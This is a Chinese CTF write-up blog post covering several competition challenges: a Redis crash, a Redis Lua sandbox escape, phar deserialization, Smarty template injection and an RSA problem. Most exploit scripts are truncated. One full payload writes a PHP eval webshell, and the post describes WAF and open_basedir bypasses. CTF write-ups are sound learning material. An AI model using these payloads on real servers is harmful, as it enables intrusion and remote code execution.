前言
为什么说是赛后复现,因为大部分都没做出来,tcl(。
虎符赛道
Plain Text
给了一串base64,解码后得到:
1 | dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ. |
啥玩意看得我一愣一愣的,各种尝试也没试出来,然后我队友放翻译软件里面试了试,发现有猫腻,发现是俄文,对应转化:
1 | а-a、б-b、в-v、г-g、д-d、е-je、ё-jo、ж-zh、з-z、и-e、й-jj、к-k、л-l、м-m、н-n、о-o、п-p、 |
因此原文转化为:
1 | дОБРО ПОВАЛОШАТХ НА МАТ^,ШЫ ДОЛВНЫ ПЕРЕШЕСТИ эТО НА АНГЛИЙСКИЙ |
最后翻译得到flag:
1 | WELCOME TO MATH, YOU SHOULD TRANSFER THIS INTO ENGLISH |
Quest-Crash
打崩redis就可以了,redis连接数超过10000后就会无法连接,一直发包就可以了。
用bp或写exp都可:
1 | import requests |
Quest-RCE
万万没想到misc要用cve打,实在难崩,而且我前一天还刚刚看过p牛写的关于这个cve的文章,结果做的时候就忘了。(
cve-2022-0543,Redis Lua 沙盒逃逸 RCE。
原理文章:
CVE-2022-0543
exp:
1 | import requests |
other
babysql和ezphp这两题暂时没时间或者环境原因还没有复现,等之后有条件了再复现。
红明谷赛道
MissingFile
再也不相信取证了,直接string就能搜出来……
或者010进去搜索字符串也可以
Fan website
www.zip
源码泄露,下载下来审计,发现是laminas组件,并且找到下面这段代码:
1 | public function imgdeleteAction() |
这个地方通过删除文件可以触发phar反序列化,到时候专门写篇博客具体学习phar反序列化。
接着发现有过滤:
1 | if(in_array($base,$this->white_list)){ //白名单限制 |
使用gzip压缩绕过前面的过滤,大小过滤使用$phar->addFromString
写入进行绕过。接着通过现有的链子进行改编,得到exp:
1 | //https://xz.aliyun.com/t/8975 |
获取phar文件,如果报错的话可以去php.ini
中更改配置:
1 | [Phar] |
然后进行一波gzip打包,将文件后缀改为png后上传,最后在删除图片的路由下删除图片获取flag,payload:
1 | phar://./public/img/xxxxxxx.png |
Smarty_calculator
仍然是www.zip
源码泄露,首先是index.php中对cookie判断,因此发包时要在cookie上添加login=1
。
方法一
非预期解,接着审Smarty的代码,首先data传进后被display方法处理,因为包含了Smarty.class.php,因此从这个文件跟进。当时做题的时候没看出来问题在哪,后来去群里看了看发现这里存在一个cve:
php 沙箱逃逸,PHP Smarty模版代码注入漏洞(CVE-2021-26120
Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities
然后群里的大佬说math那个地方存在eval函数,github上也存在相关测试数据。
测试后发现function.math.php中存在报错。这个cve在这题中可以直接利用,不过要绕waf。
先构造payload写入webshell,然后绕过即可,例如八进制、URL编码配合换行绕过等等:
1 | data=eval:{$x="42"}{math equation="("file_put_contents")("123.php","<?php eval($_REQUEST['aaa']);?>")"} |
蚁剑连接后利用插件绕过disable_functions,在根目录获取flag。
或者直接构造变量替换:
1 | ?1=phpinfo(); |
方法二
官方wp中的方法,通过对比官方源码的区别找到正则,并且官方的CHANGELOG.md中提到了安全问题:
1 | {function name='blah'}{/function} |
通过换行绕过正则读取phpinfo,发现open_basedir以及disable_functions,这里就可以写webshell或者通过ini_set配合 chdir的trick来绕过open_basedir读取flag:
1 | ?1=phpinfo(); |
easy_ya
task.py:
1 | from Crypto.Util.number import * |
这题的本质是e低指数,但是不能用之前用的常规脚本,因为估计这个e不是整数,需要使用到coppersmith的求根方法对系数进行爆破,exp:
1 | //sage |
运行得出flag。